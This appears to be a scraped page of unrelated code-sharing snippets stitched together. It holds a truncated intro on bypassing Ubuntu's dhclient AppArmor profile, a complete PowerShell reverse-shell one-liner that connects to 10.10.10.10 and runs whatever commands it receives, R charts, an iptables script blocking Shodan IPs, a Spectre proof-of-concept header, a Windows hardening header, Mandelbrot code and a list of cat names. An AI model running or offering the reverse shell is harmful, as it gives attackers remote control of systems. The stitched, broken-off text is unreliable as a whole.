This document explains how to bypass the /sbin/dhclient AppArmor profile installed in
Ubuntu by installing a kernel module. This is a simple task, but I didn't know how to
do it before today. Hopefully you find this useful.
Tested on 17.10.1 using the isc-dhcp 4.3.5-3ubuntu2.2 package.
In this advisory, Ubuntu says that the vulnerability
| # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
| $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
| library(tidyverse) # code uses development version of ggplot2 for viridis scales; otherwise, viridis package would be needed | |
| df_internet <- read.csv("internet.csv") | |
| # sort countries by internet users in final year | |
| internet_summary <- df_internet %>% | |
| group_by(country) %>% | |
| summarize(last = users[n()]) %>% | |
| arrange(last) |
| library(tidycensus) | |
| library(plotly) | |
| library(ggplot2) # devtools::install_github("tidyverse/ggplot2") | |
| library(crosstalk) | |
| # Set your Census API key with `census_api_key()` if not already installed | |
| tx <- get_acs(geography = "county", | |
| variables = c(pctcollege = "DP02_0067P", | |
| hhincome = "DP03_0062"), | |
| state = "TX", |
| #!/usr/bin/python3 | |
| import os | |
| shodan = ["104.131.0.69", "104.236.198.48", "155.94.222.12","155.94.254.133", "155.94.254.143", "162.159.244.38", "185.181.102.18", "188.138.9.50", "198.20.69.74", "198.20.69.98", "198.20.70.114", "198.20.87.98", "198.20.99.130", "208.180.20.97", "209.126.110.38", "216.117.2.180", "66.240.192.138", "66.240.219.146", "66.240.236.119", "71.6.135.131", "71.6.146.185", "71.6.158.166", "71.6.165.200", "71.6.167.142", "82.221.105.6", "82.221.105.7", "85.25.103.50", "85.25.43.94", "93.120.27.62", "98.143.148.107", "98.143.148.135"] | |
| for ip in shodan: | |
| os.system("iptables -A INPUT -s {} -j DROP".format(ip)) |
| 1. install postgres | |
| 2. run makedb.rb >tiles.csv | |
| 3. run tiles.sql | |
| 4. run archive.rb | |
| 5. enjoy |
| /* https://spectreattack.com/spectre.pdf */ | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <stdint.h> | |
| #ifdef _MSC_VER | |
| #include <intrin.h> /* for rdtscp and clflush */ | |
| #pragma optimize("gt",on) | |
| #else | |
| #include <x86intrin.h> /* for rdtscp and clflush */ | |
| #endif |
| :: Windows 10 Hardening Script | |
| :: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering. | |
| :: Obligatory 'views are my own'. :) | |
| :: Thank you @jaredhaight for the Win Firewall config recommendations! | |
| :: Thank you @ricardojba for the DLL Safe Order Search reg key! | |
| :: Thank you @jessicaknotts for the help on testing Exploit Guard configs and checking privacy settings! | |
| :: Best script I've found for Debloating Windows 10: https://github.com/Sycnex/Windows10Debloater | |
| : |
| import numpy as np | |
| from PIL import Image | |
| output_image = 'fractal.png' | |
| def evalMandelbrot(x, y, n=20): | |
| c = x + 1j*y | |
| out, count = 0, 0 | |
| for i in range(n): | |
| if abs(out) <= 2: |
| https://gist.github.com/fmasanori/ee2b554ee6e05f298d5014bcbf730fd7 | |
| Cats | |
| Abdul Abel Abelarda Abelardo Abelhinha Abigail Abner Abu Acacia Ace Acerola Adda Adonis Adrik Adry Afrodite Agapi Agostinho Agripina(o) Aiara Aícha Aika(o) Aiki Aila Aileen Aima Aimee Aislan Aiwa Akan Akaya Akenaton Akesa Alanis Alec Alecrim Aleetza Alef Alegria Aleluia Alemã Alemão Aleska Alex Alf Alfa Alface Algodão Alice Alicia Alika Alina Alisson Alita Alladim Alma Almôndega Aloha Alone Alpha Alphi Alvinha Amapola Amaral Amarula Amaya Ambar Amber Ameli Amendoim Amie Amiga(o) Amigão Amiguinha(o) Amin Amira Amon Amor Amora Amoreko Amoroso Amy Anakin Anda Andie Andora Andy Angel Angra Angus Anjinha Anjinho Anúbis Anukh Apache Apagão Aphou Apiá Apoena Apolo Apple April Aquiles Arã Arabi Aragon Aramis Aranha Arashi Archie Arena Aretha Argos Ariadne Ariel Ariela Arine Aristóteles Arkan Armani Aroeira Aron Arrepio Arteira Artemis Arthur Aruan Aruane Aruck Aruska Ashley Aska Asla Aslam Aspen Asrama Assombroso Aster Asterix Asthar Astolfo As |
